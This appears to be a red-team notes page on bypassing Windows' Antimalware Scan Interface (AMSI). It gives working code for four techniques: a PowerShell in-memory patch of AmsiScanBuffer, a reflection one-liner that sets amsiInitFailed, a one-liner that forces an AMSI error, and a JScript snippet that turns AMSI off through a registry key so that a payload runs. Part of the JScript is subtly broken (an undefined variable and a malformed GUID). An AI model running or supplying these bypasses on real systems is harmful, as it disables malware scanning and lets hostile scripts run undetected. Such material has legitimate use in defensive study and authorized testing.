AMSI Bypasses

Patching

When a process is created, amsi.dll is loaded and mapped into the virtual address space of the function. This means we can modify certain functions and patch them so that they function differently.

In our case, AmsiScanBuffer is the function used to detect malicious content, meaning that we want to patch the AmsiScanBuffer function so it always returns AMSI_RESULT_CLEAN(not malicious).

To do this, we need to find the AMSI_RESULT_CLEAN instructions in x86, this is mov EAX,0x80070057:

The hex for this is 0xB8.0x57.0x00.0x07.0x80

The value 0x80070057 is an error code from Microsoft which stands for E_INVALIDARG. AmsiScanBuffer() uses this to return when the parameters passed by the caller code are not valid.

We can modify the AmsiScanBuffer() function in memory to always force it to return 0x80070057, which will return AMSI_RESULT_CLEAN as a result.

To patch this, we can use this powershell snippet:

$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$DllGetClassObjectAddress = [Win32]::GetProcAddress($LoadLibrary, "DllGetClassObject")
$ASBAddress = [System.IntPtr]::New($DllGetClassObjectAddress.ToInt64() + [Int64](3248))
$oldProtect = 0
[Win32]::VirtualProtect($ASBAddress, [uint32]5, 0x40, [ref]$oldProtect) | Out-null
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $ASBAddress, $Patch.Length)
$newProtect = 0
[Win32]::VirtualProtect($ASBAddress, [uint32]5, $x, [ref]$newProtect) | Out-null 

Forcing it to return 0x80070057 is not the only way to do it too, we can also make it return zero with something like: sub eax, eax | ret.

Reflection

Reflection allows us to violate the rules of OOP and allow us to modify private variables which speaking, should not be accessed from outside their classes.

This bypass uses reflection to set "amsiInitFailed" to true so that our AMSI result will return AMSI_RESULT.AMSI_RESULT_NOT_DETECTED; Which bypasses AMSI checking. We can see how this works in the following logic in “System.Management.Automation.AmsiUtils” :

internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI_RESULT ScanContent(string content, string sourceMetadata)
{
if (string.IsNullOrEmpty(sourceMetadata))
{
    sourceMetadata = string.Empty;
}
if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf(“X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*”, StringComparison.Ordinal) >= 0)
{
    return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED;
}
if (AmsiUtils.amsiInitFailed)
{
    return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}

}

Our reflection bypass will look like this:

[Ref].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)
  1. [Ref] abbreviates to [System.Management.Automation.PSReference].

  2. To get direct access to the dll, we add the ".Assembly"

  3. We then call the GetType function which retrieves a handle to the internal class Utils.

  4. With this handle, we can begin to fetch the amsiInitFailed field by calling the GetField function, we specify nonpublic and static because GetField requires this(needs binding flags.)

  5. We then set that value so it can return: AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;

Force Error

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)[Ref].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(“amsiSession”,”NonPublic,Static”).SetValue($null, $null);[Ref].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(“amsiContext”,”NonPublic,Static”).SetValue($null, [IntPtr]$mem)

Reg Key

There is a AMSI registry key, which if turned off should disable AMSI. Note that this requires the payload to be run twice

  1. first run sets the registry key

  2. second run executes the payload

var shelly = new ActiveXObject('Wscript.Shell');
var key = "HKCU\\Software\Microsoft\Windows Script\\Settings\\AmsiEnabled";

try{
    var enabled = shelly.RegRead(key);
    if(enabled!=0){
    throw new error(1, '');
    }
}catch(e){
    shelly.RegWrite(key, 0, "REG_DWORD");
    sh.Run("cscript -e:F414C262-6AC0-11CF-00AA00BBBB58} "+WscriptFullName,0,1);
    sh.RegWrite(key,1,"REG_DWORD");
    Wscript.Quit(1);
}

Resources

Last updated